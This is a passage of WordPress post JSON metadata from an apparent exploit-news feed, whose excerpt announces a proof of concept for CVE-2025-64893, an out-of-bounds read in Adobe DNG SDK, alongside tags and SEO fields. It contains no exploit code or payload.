8221;&#8221;,&#8221;ai_score&#8221;:0}<\/p>\n","protected":false},"excerpt":{"rendered":"<p>{&#8220;lastseen&#8221;:&#8221;2025-12-22T17:16:38&#8243;,&#8221;description&#8221;:&#8221;This work presents a technical, research\u2011grade proof of concept demonstrating CVE\u20112025\u201164893, an out of bounds read vulnerability in Adobe DNG SDK versions prior to 1.7.1.2410&#8230;.<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[6,8,50,12,15,13,53,7,11,5],"class_list":["post-32451","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-cve","tag-cvss","tag-cvss-71","tag-exploit","tag-high","tag-news","tag-packetstorm","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v27.5 - 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